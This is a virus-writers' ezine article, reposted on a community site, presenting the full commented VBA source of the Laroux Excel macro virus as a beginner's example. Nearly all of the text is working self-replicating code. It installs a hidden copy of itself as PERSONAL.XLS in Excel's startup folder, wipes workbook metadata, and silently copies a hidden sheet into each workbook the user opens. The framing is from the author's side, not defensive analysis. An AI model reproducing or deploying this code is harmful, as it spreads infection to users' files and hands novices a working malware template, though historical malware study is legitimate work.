Copy Link
Add to Bookmark
Report

SLAM2.014: Description of ExcelMacro Virus Laroux

eZine's profile picture
Published in 
Slam
 · 2 years ago

[ ExcelMacro. Laroux ]---------- 

˛ VIRUSNAME: Laroux
˛ ORIGIN: ?????
˛ AUTHOR: ?????

->Polymorf No
->Stealth Yes
->Encrypted No
->Retro No
---------------------------------


Laroux was the first working Excel infector. The code is quite easy to understand for beginners. Look at the following source code.

----------------------------------------------------------------------------- 

Sub auto_open()
Application.OnSheetActivate = "check_files" 'check_files will be
'active if someone
'open a document
End Sub 'end

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

Select Case whichfile
Case 10
Application.ScreenUpdating = False 'ScreenUpdating Off
n4$ = ActiveWorkbook.Name 'n4$ = name of the
'active document.
Sheets("laroux").Visible = True 'Open and select the
Sheets("laroux").Select 'the laroux macro and
Sheets("laroux").Copy 'copy it.
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name 'get again the name
'of the active file.
c4$ = CurDir() 'c4$=the current path.
ChDir Application.StartupPath 'go to the startup
'directory.
ActiveWindow.Visible = False
'Save now the active
'file in the startup
'directory. (with the
'name personal.xls)
Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" _
& "PERSONAL.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$ 'go back.
Workbooks(n4$).Sheets("laroux").Visible = False 'make the laroux sheet
'invisible :)
Application.OnSheetActivate = ""
Application.ScreenUpdating = True 'ScreenUpdating On
'and activate the
Application.OnSheetActivate = "personal.xls!check_files" 'virus
Case 1
Application.ScreenUpdating = False 'ScreenUpdating Off
n4$ = ActiveWorkbook.Name 'n4$ = name of the
'active document.
p4$ = ActiveWorkbook.Path 'p4$ = path of it.
s$ = Workbooks(n4$).Sheets(1).Name 's$ = the name of
'the first sheet.
If s$ <> "laroux" Then 'if s$ not "laroux"
'then infect the
'active file.
Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("laroux").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True 'ScreenUpdating On
'and activate the
Application.OnSheetActivate = "personal.xls!check_files" 'virus
Case Else
End Select
End Sub 'end.

-----------------------------------------------------------------------------


That's it.

Nightmare Joker [SLAM]

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT